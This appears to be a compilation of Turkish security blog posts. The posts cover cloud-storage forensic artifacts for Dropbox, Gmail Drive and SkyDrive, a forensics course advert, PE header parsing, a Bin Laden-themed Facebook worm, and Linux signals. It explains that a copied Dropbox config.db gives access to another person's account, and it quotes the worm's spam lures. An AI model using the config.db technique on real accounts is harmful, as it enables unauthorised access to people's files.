Bunlardan birincisi Dropbox. www.dropbox.com üzerinden oluşturulan bir kullanıcı hesabı sayesinde 2 GB’a kadar herhangi bir ücret ödemeden bu servis kullanılabiliyor ve internete erişimin olduğu her yerden kişinin dosyalarına ulaşması mümkün. Bu servisi kullanmak için istemci bilgisayarlara yüklenen bir istemci yazılımı üzerinden dosya ve klasörlerin senkronizasyonu gerçekleştiriliyor. Kurulum sırasında seçilen ana klasör baz alınarak bu klasörün altına atılan dosya ve dizinlerin internetteki saklama lokasyonuna gönderilmesini ve bir kopyasının orada saklanmasının sağlanması mümkün. Aşağaki ekran görüntüsünde benim kişisel bilgisayarımda yer alan dropbox’ın senkronizasyonunda kullanılan dizini görebilirsiniz.

Dropbox uygulaması kurulduğunda sistemde yapılan değişikliklerin neler olduğunu tespit etmek adına regshot uygulamasını kullanarak izleme gerçekleştirdiğimizde aşağıda özeti verilmiş aktivitelerin gerçekleştiğini görüyoruz.

• HKEY_CURRENT_USER\Software\Dropbox ve HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\Dropbox  anahtarı oluşturularak ilgili değerler bu anahtarın altına ekleniyor.
• İlgili kullanıcının profilinde yer alan “Application Data” dizini altında Dropbox isimli bir klasör oluşturuluyor ve aşağıda listesi verilen dosyalar bu dizin altında oluşturuluyor

C:\Documents and Settings\UserName\Application Data\Dropbox\bin\Dropbox.exe
C:\Documents and Settings\UserName\Application Data\Dropbox\bin\DropboxExt.14.dll
C:\Documents and Settings\UserName\Application Data\Dropbox\bin\itag
C:\Documents and Settings\UserName\Application Data\Dropbox\bin\msvcp71.dll
C:\Documents and Settings\UserName\Application Data\Dropbox\bin\msvcr71.dll
C:\Documents and Settings\UserName\Application Data\Dropbox\bin\Python25.dll
C:\Documents and Settings\UserName\Application Data\Dropbox\bin\Uninstall.exe
C:\Documents and Settings\UserName\Application Data\Dropbox\config.db
C:\Documents and Settings\UserName\Application Data\Dropbox\filecache.db
C:\Documents and Settings\UserName\Application Data\Dropbox\host.db
C:\Documents and Settings\UserName\Application Data\Dropbox\installer\l\4dd0e9a9
C:\Documents and Settings\UserName\Application Data\Dropbox\l\4dd0e9b0
C:\Documents and Settings\UserName\Application Data\Dropbox\l\4dd0e9b2
C:\Documents and Settings\UserName\Application Data\Dropbox\l\4dd0e9e5
C:\Documents and Settings\UserName\Application Data\Dropbox\shellext\l\4dd0e9b0
C:\Documents and Settings\UserName\Application Data\Dropbox\shellext\l\4dd0e9b4
C:\Documents and Settings\UserName\Application Data\Dropbox\shellext\l\4dd0e9b7
C:\Documents and Settings\UserName\Application Data\Dropbox\sigstore.db
C:\Documents and Settings\UserName\Application Data\Dropbox\unlink.db

Dropbox’ın kurulduğu zaman bilgisine HKEY_CURRENT_USER\Software\Dropbox anahtarının Last Write Time bilgisine bakılarak ulaşılabilir. Çalışan bir sistem üzerinde bu bilgiye ulaşmak için ilgili registry anahtarını registry editör (Regedit) aracılığı ile txt formatında Export edip açmamız yeterli. Aşağıda HKEY_CURRENT_USER\Software\Dropbox anahtarının export edildikten sonra Notepad yardımıyla açılmış halini görebilirsiniz.

Canlı bir sistemde yapılan registry analizinde ilgili registry anahtarlarına ilişkin Last Write Time değerini Windows ile birlikte gelen Regedit yardımıyla göremeyiz. Bu durumda ya kendi yazılımımızı yada scriptimizi yazıp bu bilgiyi registry içinden çekmemiz gerekiyor ya da bu özelliğe sahip üçüncü parti bir yazılımı kullanmamız gerekiyor. Aşağıda Registrar Registry Manager(www.resplendence.com) isimli uygulama kullanılarak ilgili registry anahtarının Last Write Time değerinin ne olduğu gösterilmiştir.

Dropbox’ın kurulumu ile ile gelen registry anahtarları bize adli bilişim açısından çok bilgi sunmamaktadır. Bunun başlıca sebebi Dropbox’ın kendi tanımlarını kurulum dizini içinde yer alan veritabanı dosyalarında saklaması ve bu veritabanlarını kullanarak işlem yapması. Dropbox’ın konfigürasyon bilgileri config.db isimli SQLite formatındaki veritabanında saklanıyor. Bu veritabanı dosyasını Firefox’un eklentilerinden olan SQLite Manager ile açtığımızda içinde sadece config isimli tek bir tablonun yer aldığını görüyoruz. Aşağıdaki ekran görüntüsünde bu tabloda yer alan alanların neler olduğu ve bu alanlardaki değerlerin benim kurulumum için neler olduğu bilgisi görülebilir.

Bu tablodaki dropbox_path alanında Dropbox’ın kurulu olduğu dizin bilgisi, email alanında Dropbox kullanıcı adı bilgisi yer alır. Dropbox’ın kimlik doğrulama ile ilgili olarak bu bilgiyi değil, bunun yerine host_id alanındaki değeri kullandığını ortaya çıkaran Derek Newton’un http://dereknewton.com/2011/04/dropbox-authentication-static-host-ids/ adresindeki yazısına göre herhangi bir kişinin Dropbox hesabına ulaşmak için o kişinin bilgisyarındaki config.db dosyasını ele geçirmek yeterli. Bu kullanıcı Dropbox hesabının şifresini değiştirse bile config.db dosyasına sahip olan bir kişi o kullanıcının dosyalarına erişebiliyor.Gerçekleştirdiğimiz testlerde bu iddaa’yı doğrulayan sonuçları biz de elde ettik. Bu noktada adli bilişim açısından şunu söyleyebiliriz. Şüphelinin bilgisayarında yapılan inceleme sonucunda elde edeceğimiz config.db dosyasını kullanarak bu kişinin Dropbox hesabına ulaşmak mümkün. Fakat bir noktanın altını çizmek istiyorum. Bu şekilde bir erişimin gerçekleşmesi durumunda karşı tarafın kişisel verilerine izinsiz ulaştığınız gibi bir durum ortaya çıkabilir ve bu durum sizi zor durumda bırakabilir.

Config.db veritabanındaki config isimli tabloda yer alan recently_changed3 isimli alanda, Dropbox hesabına ait en son değişiklik yapılan son beş dosyaya ait bilgiler yer almaktadır. Aşağıdaki şekilde benim kendi hesabıma ilişkin en son değişiklik yapılan beş dosyaya ait bilgiler görülebilir. Buradaki bilgiler içinde bizim için en önelmli olanı N ile başlayan satırların üzerindeki dosyaların silinmiş dosyalar olduğudur.

Dropbox’ın config.db dosyasının olduğu klasörde uzantısı db ile biten başka veritabanı dosyaları da mevcuttur. Bu dosyalardan filecache.db dosyası da SQLite formatında bir veritabanıdır ve içerisinde 7 adet tablo bulundurur. Bu tablolardan file_journal tablosu bu kullanıcının Dropbox hesabında yer alan dosyalar hakkında bilgiler barındırır. Aşağıda file_journal tablosundaki alanların listesi gösterilmiştir.

Bu alanlardan local_filename alanında kullanıcının Dropbox hesabına kendi bilgisayarından yolladığı dokümanların isimleri yer almaktadır.Local_size alanında yer alan değer, ilgili dosyanın byte olarak boyutunun ne kadar olduğunu gösteriyor.local_mtime ilgili dosyanın güncelleme zamanını, local_ctime ise ilgili dosyanın oluşturulma zamanını yerel saat baz alınarak gösterir. Epoc formatında tutulan bu değerleri normal zaman formatına dönüştürmek için kendi yazacağınız ufak kod parçalarını kullanabileceğiniz gibi, internet üzerinde bu işi sizin adınıza yapacak, http://www.esqsoft.com/javascript_examples/date-to-epoch.htm adresinde bir örneğini bulabileceğiniz yararlı sayfalardan da faydalanabilirsiniz. Aşağıda benim kendi Dropbox hesabıma ilişkin filecache.db dosyasında yer alan file_journal tablosunun içeriği yer almaktadır.

Not: İncelemeler Dropbox 1.1.31 versiyonu ile gerçekleştirilmiştir.

Gmail Drive

İkinci olarak inceleyeceğimiz servis GMail Drive. Gmail Drive Storage olarak da bilinen bu servis aslında kullanıcıların kendi gmail hesaplarını dosya saklamak için kullanmaktan öte birşey değil. Gmail kullanıcılarının http://www.viksoe.dk/code/gmail.htm adresinden indirebilecekleri bir eklentiyi işletim sistemlerine yükleyerek kullanıma başlayabilecekleri bu servis Google tarafından desteklenmiyor. Bu eklentinin yüklendiği bir bilgisayarda aşağıdaki ekran görüntüsünde gösterildiği şekliyle bir sürücü oluşturulmaktadır.

Bu sürücüyü kullanabilmek için ilgili Gmail hesabı ile uygulama üzerinden bir oturum açılmalıdır. Oturum açma ekranı aşağıdaki şekilde gösterilmiştir.

Oturum açtıktan sonra kullanıcı istediği dosya sağ tıklayıp Send to->GMail Drive yolunu izleyerek ilgili dosya yada klasörü Gmail hesabına gönderebilir. Kullanıcının Gmail hesabında bu dosyalar aşağıdaki şekilde gösterildiği gibi görünecektir.

Kullanıcı tarafından yapılan bütün bu işlemler sonucunda iz olarak elde edebileceklerimiz ise şunlardır. Gmail eklentisi kurulduğunda ilgili kullanıcının bilgisayarında aşağıdaki registry değerleri oluşturulur.Bu değerlerden “Last User” değeri kullanıcının en son hangi Gmail hesabını kullandığını gösterir. Bunun yanında eğer “Auto Login” seçeneği aktifse incelenen sistem üzerinde bu kullanıcının GMail Drive’ına erişim gerçekleştirilirken bir oturum açma durumu söz konusu olmaz ve inceleme yapılan bilgisayardan sorunsuz şekilde bu kullanıcının Gmail hesabında sakladığı dosyalara erişim gerçekleştirilebilir.

HKU\UserSID\Software\Viksoe.dk\GmailFS\Last User: "halilozturkci"
HKU\UserSID\Software\Viksoe.dk\GmailFS\Auto Login: 0x00000000
HKU\UserSID\Software\Viksoe.dk\GmailFS\Preserve Filenames: 0x00000001
HKU\UserSID\Software\Viksoe.dk\GmailFS\Use Draft: 0x00000000
HKU\UserSID\Software\Viksoe.dk\GmailFS\Secure HTTP: 0x00000001
HKU\UserSID\Software\Viksoe.dk\GmailFS\Compat Warned: 0x00000001
HKU\UserSID\Software\Viksoe.dk\GmailFS\Use Proxy: 0x00000000

Analiz çalışmamızı derinleştirip daha fazla iz tespit etme yönünde yaptığımız çalışmalarda incelenen bilgisayardaki aktif ağ bağlantıları listelediğimizde explorer.exe prosesi tarafından Gmail’in sunucularına bir bağlantı gerçekleştirildiği görüyoruz. Browserlara ilişkin geçmiş dosyaları üzerinde yaptığımız analiz çalışmalarında da elle tutulur bir veriye rastlayamıyoruz.

Network üzerinden gerçekleştirilen iletişim ise aşağıdaki şekilde gösterildiği üzere tamamen kriptolu şekilde gerçekleştirildiğinden dolayı network forensics yapılarak da GMail Drive’ın kullanılıp kullanılmadığının öğrenilmesi imkansız.

Sonuç olarak incelenen bilgisayarda GMail Drive’ın kullanılıp kullanılmadığı ve GMail Drive içinde hangi dosya veya klasörlerin yer aldığı gibi bilgileri ancak kullanıcı oturumu açıksa ve GMail Drive üzerinden Gmail’e oturum açmışsa elde etmemiz mümkün. Bunun haricinde elde edebileceğimiz bilgi çok sınırlı.

Windows Live SkyDrive-SDExplorer

Windows Live SkyDrive, Microsoft’un sunduğu bir çevrimiçi dosya depolama ve paylaşma hizmetidir. Kullanıcılar, Windows Live hesapları ile bağlanabildikleri SkyDrive hesaplarına tarayıcılarını kullanarak dosya gönderip, internet erişimi olan her yerden bağlanabilmektedirler. Tek seferde gönderilebilecek dosya boyutunun 50 MB ile sınırlı olduğu bu serviste kullanıcı başına 25 GB gibi bir alan tahsis ediliyor.

SDExplorer (http://www.cloudstorageexplorer.com/) gibi bir araç yardımıyla kullanıcıların kendi SkyDrive’larına Windows Explorer arayüzü üzerinden erişmeleri ve yerel bir diskte çalışıyormuşcasına işlem yapmaları mümkün. Aşağıdaki ekran görüntüsü SDExplorer’un Base versiyonunun yüklü olduğu bir bilgisayardan alınmıştır.

Kullanıcının öncelikli olarak SDExplorer üzerinden aşağıdaki şekilde gösterilen oturum açma ekranını kullanarak Windows Live ID’si ile oturum açması gerekmektedir.

Bu uygulamaya ilişkin registry’deki değerleri incelediğimizde karşımıza aşağıdaki şekilde gösterilen değerler çıkmaktadır.

Yapılan incelemede bu uygulamanın Windows Live ID’sini bu registry anahtalarının altında saklamadığı yada en azında clear-text formatta saklamadığı tespit edilmiştir. Bu uygulamanın ağ üzerinden iletişimini nasıl gerçekleştirdiğine baktığımızda ise karşımıza aşağıdaki şekilde gösterilen sonuçlar çıkmıştır. dllhost.exe servis host uygulamasının bütün iletişimini HTTPS üzerinden gerçekleştirdiğini görüyoruz.

Sonuç olarak, bu üç farklı yöntem kullanılarak uzak lokasyonlarda veri saklama işlemi gerçekleştirildiği takdirde bu işlemlerin izini sürmek, hangi dosyaların bu uzak lokasyonlarda saklandığını tespit etmek ve gerektiğinde bu dosyalara ulaşmak adli bilişm uzmanları açısında biraz zorlu bir süreç olarak karşımıza çıkıyor. Bunun yanında bu tür olayları aydınlatmak için sadece yukarıda anlattığımız yöntemlerin kullanılmadığını da belirtmek lazım. Kullanılacak başka adli bilişm yöntemleri ile şüpheli bilgisayarlarındaki delilleri farklı formatlar elde etmemiz mümkündür.

ADEO Security Labs yöneticisi Halil ÖZTÜRKCİ 20-24 Haziran 2011 tarihleri arasında Adli Bilişim Uzmanlığı (Computer Forensics) eğitimi verecektir. Eğitimle ilgili detaylı bilgiler yazının devamında yer almaktadır.

Eğitimin Adı: Adli Bilişim Uzmanlığı (Computer Forensics)

Eğitim Tarihleri: 20-24 Haziran 2011

Eğitimin Süresi: 5 Gün

Eğitimi Kimler Almalı:

• Bilgi Güvenliği Uzmanları
• Kurum İçi Adli Bilişim İncelemesi Gerçekleştiren IT Uzmanları
• IT Denetçileri
• Bilişim Suçları İle İlgilenen Kolluk Kuvveti Çalışanları
• Adli Bilişim Konusunda Uzmanlaşmak İsteyen IT Çalışanları

Eğitim Sonunda Kazanılacaklar:
Bu eğitim sonunda katılımcılar, adli bilişim sürecinin bütün adımlarını detaylı bir şekilde öğreneceklerdir. Farklı senaryolar üzerinden gerçekleştirilecek inceleme çalışmaları sonucunda katılımcıların kendi incelemelerini gerçekleştirmeleri adına ihtiyaç duyacakları bilgiler aktarılacaktır. Bunun yanında, Türkiye özelinde bilişim hukukuna değinilecek, ve delil toplama süreci hukuki olarak ele alınacaktır. Eğitim sonunda edinilen bilgiler ile katılımcılar SANS GCFA veya CHFI sertifika sınavlarına girebilecek düzeyde bilgi sahibi olacaklardır.

Eğitmen: Halil ÖZTÜRKCİ (www.halilozturkci.com)

Eğitim Katılım Şartları ve Ücret: Lütfen ebru.ugrasan@adeo.com.tr adresine mail atınız veya 0530 938 99 61 numaralı telefondan Ebru Uğraşan ile görüşünüz.

Eğitim Lokasyonu: http://www.adeo.com.tr/Kurumsal/iletisim/iletisim.html

Eğitim İçeriği:

• Birinci Gün
  • Adli Bilişim Temelleri
  • Olay Müdahalesi ve Delillere El Koyma
  • İnceleme ve Analiz
  • Dijital Delil ve Delilin Bütünlüğü
  • Disk İmajları
  • Adli Bilişimin Temel Prensipleri
  • Adli Bilişim İnceleme Metodolojisine Temel Bakış (Sistem Tanımlama, Delil Toplama, Timeline Çıkarma, Medya Analizi, String/Keyword Arama, Veri Kurtarma, Raporlama)
  • Dosya Sistemi Temelleri
  • Dosya Sisteminin 5 Katmanı
  • File System Katmanı
  • Partition Temelleri
  • Master Boot Record
  • Veri Katmanı Temelleri
  • Sektör, Cluster, Blok, Superblok Tanımları
  • Slack Space, Allocated, Unallocated Disk Alanı Tanımları
  • Metadata Katmanı
  • Metadata Katmanı Tanımları (inode, FAT Directory Entry, Master File Table Entry)
  • Dosya İsmi Katmanı
  • Linux EXT2/3 Temelleri
  • EXT2/3′de Superblok ve Blok Tanımı
  • Blok Grupları
  • EXT2/3′de Dosya Erişim İzinleri
  • EXT2/3′de Zaman Damgası
  • EXT2/3′de Inode’lar (Direkt ve Endirekt pointer’lar)
  • Klasörler
  • Windows Dosya Sistemi Temelleri
  • FAT Dosya Sistemi (FAT 12, FAT 16 ve FAT 32)
  • FAT Dosya Sistemlerinde Boot Sektör
  • FAT Sistemlerde Kök Klasör
  • FAT Dosya Sistemlerinde Zaman Damgası
  • FAT Klasör Kayıtları
  • FAT Dosya Sisteminde Cluster Kullanımı ve Cluster Zincirleri
  • NTFS-New Technologies File Temelleri
  • NTFS Limitleri
  • NTFS Partition Boot Sector
  • NTFS Dosya Sisteminde Clusterlar
  • NTFS Dosya Sisteminde Metadata Katmanı
  • NTFS Dosya Sisteminde Zaman Damgası
• İkinci Gün
  • Canlı Sistemlerde Olay Müdahalesi ve Delil Toplama
  • windows ve Linux Ortamlarında Delil Toplama Araçlarına Genel Bakış
  • Helix 3 Pro ile Canlı Analiz ve Delil Toplama
  • Memory İmajı Alma ve Memory Analizine Giriş
  • Windows Memory Analiz Araçları ve volatility
  • Linux Sistemlerde Memory İmajı Alma (memdump ve Helix3 Pro İle)
  • Unix Sistemlerde Canlı Müdahale
  • Uçucu Verilerin Toplanması
  • Windows Sistemlerde Canlı Müdahale
  • Windows Forensic Toolchest ile Uçucu Delillerin Toplanması
  • Delil Bütünlüğü
  • Hash Fonksiyonları
  • Windows ve Unix Sistemlerde İmaj Alma Temelleri
  • Disk İmaj Formatları
  • Yazma Korumaları
  • İmaj Alma Yöntemleri (Donanımsal/Yazılımsal İmaj Alma Yöntemleri)
  • dd İle Sabit Disk İmajı Alma
  • Chain of Custody
  • Fiziksel Disk İmajı İçinden Mantıksal Sürücülerin Çıkartılması (mmls Kullanımı)
• Üçüncü Gün
  • Dosya Sistemi Analizi
  • Timeline Analizi
  • Timeline Analizi İpuçları
  • Timeline Oluşturma Adımları (fls ve mactime ile Timeline Oluşturma)
  • String/Byte Arama ve Veri Kurtarma
  • Dosya Tanımlama Yöntemleri ve Araçları (File Header/Footers, file, srch_strings,  grep)
  • Dirty Words List Kavramı
  • Sleuthkit’e Genel Bakış
  • fsstat İle Dosya Sistemi Katmanında Çalışma
  • blkstat, blkcat, blkls, blkcalc ve sigfind ile Veri Katmanında Çalışma
  • foremost ile File Carving
  • Metadata Katmanı Araçları (ifind, istat ve icat İle Metadata Katmanında Çalışma)
  • Dosya Adı Katmanı Araçları (fls ve ffind ile Dosya Adı Katmanında Çalışma)
  • sorter İle Dosyaları Kategorilere Göre Sıralama
  • Bilinen Dosyalar Yaklaşımı ve Hash Veritabanları ( md5sum, National Software Reference Library (NSRL), Hashkeeper)
  • md5deep ve hfind ile Hash Karşılaştırma Adımları
  • Fuzzy Hashing ve ssdeep Kullanımı
• Dördüncü Gün
  • Windows Medya Analiz Temelleri
  • Windows Sistemlerde Detaylı Registry Analizi
  • Vista/Windows 7′de Registry Analizi
  • RegRipper ile Registry Analizi
  • Internet Explorer Analizi
  • E-mail Forensics
  • Windows Sistemler Zararlı Kod Analizi
  • Restore Point ve Shadow Forensics
  • Vista/Windows 7 ve Windows Server 2008′de Volume Shadow Copy Imaj Alma ve Analizi
• Beşinci Gün
  • Türkiye Özelinde Hukuki Açıdan Adli Bilişim
  • Delilin Taşıması Gereken Nitelikler
  • Delil Gizleme Yöntemleri (Şifre koyma, Şifreleme, Steganography vb.) ve Gizlenmiş Delilleri Ortaya Çıkarma Yöntemleri
  • Delil Karartma Yöntemleri
  • Adli Bilişim Raporunun Taşıması Gereken Özellikler ve Rapor Hazırlanması

Halil ÖZTÜRKCİ –  Advanced Windows Registry Forensics  sunumunu indirmek için tıklayın.

Canberk BOLAT ve Yasin SÜRER - New Generation Malwares & Analysis sunumunu indirmek için tıklayın.

Bir PE formatlı EXE dosya içerisinde çeşitli bilgiler barındırmaktadır. Örneğin, Kodun çalışmaya başlayacağı giriş noktası yani EntryPoint , çalıştırılabilir dosyanın tipini belirleyen hexadecimal değerler, segment bilgileri gibi bir çok bilgi barındırabilir.Bir EXE dosyasının türünü belirleyen 4 byte’lık hexadecimal 45 50 degeri PE dosya formatına denk gelmektedir. Fakat bir çok tip bulunmaktadır. Bunlardan bazıları ise MZ, NE, LE ve bizi ilgilendiren PE olarak sıralanabilir.

MZ bilgisini taşıyan EXE dosyalar eski DOS çalıştırılabilir dosyalarına ait bir bilgidir. PE dosya formatı içerisinde her bilginin saklandığı bir offset değeri mevcuttur ve eğer bir exe dosya içerisinden bilgi okumamız gerekiyorsa bu offset değerlerinde ki bilgileri okumamız gerekmektedir.

Çalıştırılabilir dosyalar iki başlıktan oluşmaktadır ve bunlar DOS ve Windows başlıklarıdır. Windows başlıkları loader’ın
ihtiyaç duyduğu bir çok bilgiyi barındırmaktadır. Bunlar Linker versiyonu, data segment bilgileri, resource segment bilgileri gibi çeşitli bilgilerdir. Aşağıda blok bilgileri ve lokasyonları listelenmektedir. Bu bilgileri EXE spesifikasyonlarında bulmanız mümkündür.

............

00h Specifies the signature word. The low byte contains
"N" (4Eh) and the high byte contains "E" (45h).
02h Specifies the linker version number.
03h Specifies the linker revision number.
04h Specifies the offset to the entry table (relative to
the beginning of the header).
06h Specifies the length of the entry table, in bytes.
08h Reserved.
0Ch Specifies flags that describe the contents of the
executable file. This value can be one or more of the
following bits:

Bit Meaning
0 The linker sets this bit if the executable-file
format is SINGLEDATA. An executable file with
this format contains one data segment. This bit
is set if the file is a dynamic-link library
(DLL).
1 The linker sets this bit if the executable-file
format is MULTIPLEDATA. An executable file with
this format contains multiple data segments. This
bit is set if the file is a Windows application.
If neither bit 0 nor bit 1 is set, the
executable-file format is NOAUTODATA. An
executable file with this format does not contain
an automatic data segment.
2 Reserved.
3 Reserved.
8 Reserved.
9 Reserved.
11 If this bit is set, the first segment in the
executable file contains code that loads the
application.
13 If this bit is set, the linker detects errors at
link time but still creates an executable file.
14 Reserved.
15 If this bit is set, the executable file is a
library module.
If bit 15 is set, the CS:IP registers point to an
initialization procedure called with the value in
the AX register equal to the module handle. The
initialization procedure must execute a far
return to the caller. If the procedure is
successful, the value in AX is nonzero.
Otherwise, the value in AX is zero.
The value in the DS register is set to the
library's data segment if SINGLEDATA is set.
Otherwise, DS is set to the data segment of the
application that loads the library.
0Eh Specifies the automatic data segment number. (0Eh is
zero if the SINGLEDATA and MULTIPLEDATA bits are
cleared.)
10h Specifies the initial size, in bytes, of the local
heap. This value is zero if there is no local
allocation.
12h Specifies the initial size, in bytes, of the stack.
This value is zero if the SS register value does not
equal the DS register value.
14h Specifies the segment:offset value of CS:IP.
18h Specifies the segment:offset value of SS:SP.
The value specified in SS is an index to the module's
segment table. The first entry in the segment table
corresponds to segment number 1.
If SS addresses the automatic data segment and SP is
zero, SP is set to the address obtained by adding the
size of the automatic data segment to the size of the
stack.
1Ch Specifies the number of entries in the segment table.
1Eh Specifies the number of entries in the
module-reference table.
20h Specifies the number of bytes in the nonresident-name
table.
22h Specifies a relative offset from the beginning of the
Windows header to the beginning of the segment table.
24h Specifies a relative offset from the beginning of the
Windows header to the beginning of the resource
table.
26h Specifies a relative offset from the beginning of the
Windows header to the beginning of the resident-name
table.
28h Specifies a relative offset from the beginning of the
Windows header to the beginning of the
module-reference table.
2Ah Specifies a relative offset from the beginning of the
Windows header to the beginning of the imported-name
table.
2Ch Specifies a relative offset from the beginning of the
file to the beginning of the nonresident-name table.
30h Specifies the number of movable entry points.
32h Specifies a shift count that is used to align the
logical sector. This count is log2 of the segment
sector size. It is typically 4, although the default
count is 9. (This value corresponds to the /alignment
[/a] linker switch. When the linker command line
contains /a:16, the shift count is 4. When the linker
command line contains /a:512, the shift count is 9.)
34h Specifies the number of resource segments.
36h Specifies the target operating system
……

Offset değerlerinin nasıl okunacağına dair iki kod aşağıda verilmiştir. fseek() fonksiyon 60 decimal yani 3ch offset degerine ayarlanıyor.fread() ile byte değerler okunuyor ve section değerine set ediliyor.

peFormath(char *fPath)
{
int section;
fseek(di, 60, SEEK_SET);
fread(&section, 1, sizeof(section), di);
fseek(di, section, SEEK_SET);
int i;
for(i=0;i>=1;i++){ printf("%x\n", getc(di)); }
}

Aşağıda ki kod ben C ile uğraşırken yan masada oturan sevgili Canberk tarafından yazılmıştır. Ruby ile yazılmış bu kod yine yazılmış kodun ana fonksiyonunun yani giriş noktasının adresini (Entry Point) vermektedir. İlgili koda buradan ulaşabilirsiniz.

Eski bir konu olmasına rağmen konu hakkında fikri olmayanların kafalarındaki soru işaretlerinin giderilebilmesi adına örneklendirmelerin faydalı olabileceğini düşünüyorum.

Malware Bulaştırma
Tahmin edebileceğiniz gibi “Bin Ladin’in öldürüme anı” ya da “Bin Ladin’in ceseti” gibisinden mail’ler birçok kişinin mailbox’ına düşmeye başladı. Özellikle ilgili olayın üstü kapalı tutulması ve kamuoyunun merak etmesi bu işleri kullananların eline büyük fırsat veriyor.

Sahte İçerik
Aşağıdaki resim bir sitede yer alan reklam bölümünden. Linke tıkladığınız zaman alakası olmayan iki farklı web sitesi açılıyor. Bir günde merak edip ortalama 10.000 kişinin sadece bu linke tıkladığını ve ilgili sayfaları ziyaret ettiğini düşünürseniz, içeriği koyan açısından iyi bir kazançtır diyebiliriz.

Facebook Worm
Yine ilgi çekici şeylerden birisi de bu kadar kısa bir süre içerisinde yeni bir Facebook solucanı yazılmış olması. Bin Ladin’in öldürülmesiyle alakalı hazırlanan aşağıdaki Facebook sayfasını kullanarak yayılmakta bu solucan. Göreceğiniz üzere verilen kodu kopyalamanız ve browser’ınızda çalıştırmanız yazılmakta. Bu sayede sözde video’yu izleyebileceğiniz vaadiyle Facebook sayfanız üzerinden zararlı işlemler yapılmakta.

Aşağıda çalıştırılan ilgili JavaScript kodu yer almakta.

Bu JavaScript kodu çalıştırıldığında arkadaş listenizde Facebook sohbet’te çevrimiçi olanlara;
“watch the video of them killing osama bin laden live! http://www.facebook.com/pages/Osama-Bin-Laden-Killed-Live-on-Video/164247640301591?sk=app_4949752878&” mesajını yollamakta ve onlarında ilgili sahte Facebook sayfası ile etkilenmelerini sağlamakta.

Yine aynı zararlı kod duvarınıza;
“Osama Bin Laden killed live on a news broadcast! watch the video: http://www.facebook.com/pages/Osama-Bin-Laden-Killed-Live-on-Video/164247640301591?sk=app_4949752878&” mesajını yazmakta ve yeni bir etkinlik oluşturup tüm arkadaş listenizi sizin izniniz olmadan davet etmekte.

“Hey everyone, \n\ fb now lets you see who viewed your profile! to enable this feature, go here! – http://www.facebook.com/pages/Osama-Bin-Laden-Killed-Live-on-Video/164247640301591?sk=app_4949752878”

ve son olarakta sizi http://www.en-derin.com/technology/osama-bin-laden-killed-live-video-watch adresine yönlendiriyor.

Sinyaller işletim sistemleri tarafından belirlenen ve süreçlerin birbirleriyle iletişim halinde olmalarını sağlayan kavramlardır, aynı zamanda bir süreç kendi içerisinde kendisine sinyal gönderebilir. Ayrıca sinyaller genel anlamda asenkron olarak çalışmaktadırlar. Sinyaller işletim sistemlerine göre değişmektedir, Windows sistemler üzerinde Unix işletim sistemine göre daha az signal vardir. Aşağıda Linux işletim sistemi üzerinde sağlanan bir “signal” listesi yer almaktadır.

1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
6) SIGABRT 7) SIGBUS 8 ) SIGFPE 9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR
31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3
38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8
43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7
58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
63) SIGRTMAX-1 64) SIGRTMAX

Assembly ile yazdığınız kodlarda bir çok kez “illegal instruction” hatasi ile karşılaşmışsınızdır ve debug işlemi esnasında “SIGILL” sinyalinin buna işaret etmekte olduğunu görmüşsünüzdür. Yahut SIGINT sinyali ile konsol üzerinde kesme (Ctrl-C ile) gönderdiğiniz olmuştur. İşte tüm bunlar süreçlerin akışını etkileyecek etkenlerdir. Örneğin, grsec kernel patch, olası atakları “SIGSEGV” takibi ile yapmaktadır. Muhtemel hafıza sorunları yani “segmentation fault” tespiti bu sayede olmaktadır.

Program terminated with signal 11, Segmentation fault.
#0 0x00007f44154a7fdb in ?? ()

#0 0x0013a2c2 in abort () from /lib/tls/libc.so.6
#1 0x0016c4ea in __libc_message () from /lib/tls/libc.so.6
#2 0x00172c6f in _int_free () from /lib/tls/libc.so.6
#3 0x00172fea in free () from /lib/tls/libc.so.6
#4 0x01287c44 in php_error_cb (type=1, error_filename=0xc36f894 "theme.php(10) : eval()'d code",
error_lineno=9, format=0x1570b84 "Maximum execution time of %d second%s exceeded",
args=0xa0f6195c "36") at /tmp/php-5.2.13/main/main.c:836
#5 0x012c8b2a in zend_error (type=1,
format=0x1570b84 "Maximum execution time of %d second%s exceeded")
at /tmp/php-5.2.13/Zend/zend.c:976
#6 0x012bd76d in zend_timeout (dummy=27) at /tmp/php-5.2.13/Zend/zend_execute_API.c:1347
#7
#8 0x00175030 in malloc () from /lib/tls/libc.so.6
#9 0x00179cd0 in strdup () from /lib/tls/libc.so.6
#10 0x012879e7 in php_error_cb (type=2, error_filename=0xc36f894 "theme.php(10) : eval()'d code",
error_lineno=9, format=0x15723f4 "%s%s%s(): supplied argument is not a valid %s resource",
args=0xa0f61d48 "ŃKT01ŃKT01OjT01FŽU01x35ö 01") at /tmp/php-5.2.13/main/main.c:845

Doğrudan sinyal kaynaklı problemlerin yakalanması nispeten daha zordur, GDB ile sinyal’e gösterilecek tepkinin ayarlanması mümkündür.

(gdb) handle SIGSEGV print nostop pass
Signal Stop Print Pass to program Description
SIGSEGV No Yes Yes Segmentation fault

